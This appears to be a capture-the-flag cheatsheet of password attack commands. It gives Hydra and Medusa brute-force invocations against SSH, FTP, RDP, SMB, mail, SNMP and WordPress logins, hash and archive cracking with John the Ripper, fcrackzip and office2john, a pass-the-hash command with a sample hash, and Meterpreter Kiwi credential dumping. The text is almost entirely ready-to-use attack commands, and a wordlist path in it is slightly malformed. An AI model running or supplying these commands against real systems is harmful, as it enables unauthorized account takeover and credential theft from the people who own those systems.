Password Attack CTF-Cheatsheet

Password Attack

//Medusa
        Medusa, initiated against an htaccess protected web directory
        medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

//Hydra

        //Hydra brute force against SNMP
        hydra -P password-file.txt -v $ip snmp

       // Hydra FTP known user and rockyou password list
        hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

        //Hydra SSH using list of users and passwords
        hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

        //Hydra SSH using a known password and a username list
        hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

        //Hydra SSH Against Known username on port 22
        hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

        //Hydra POP3 Brute Force
        hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

        //Hydra SMTP Brute Force
        hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

        //Hydra attack http get 401 login with a dictionary
        hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

       //Hydra attack Windows Remote Desktop with rockyou
        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

        //Hydra brute force SMB user with rockyou:
        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

       //Hydra brute force a Wordpress admin login
        hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'


Online Password Cracking
    https://crackstation.net/

#John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes

#ZIP Cracking
fcrackzip -b -c a1A -l 5-10 -v -u ./bank.zip

#Office password cracking
python ./office2john.py ./filename.docx

#VNC Password decryptor
https://www.raymond.cc/blog/download/did/232/
vncpwd.exe hashed

//filename being the protected document. 
After a second you will see the output like below:

root@k22:~/Downloads/crackers/Microsoft Office RC40 cracker# python ./office2john.py ../file1.docx
file1.docx:$office$*2007*20*128*16*75a4db9cc30c376ad9e05505b1afa100*d777bd01af371bbcc21139e34119b832*1c091f9e02d549f98073ed060429a4649d2c0d6b

#Passing the Hash in Windows

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator% //$ip cmd

//Meterpreter Kiwi

meterpreter> load kiwi
meterpreter> help kiwi
meterpreter> creds_all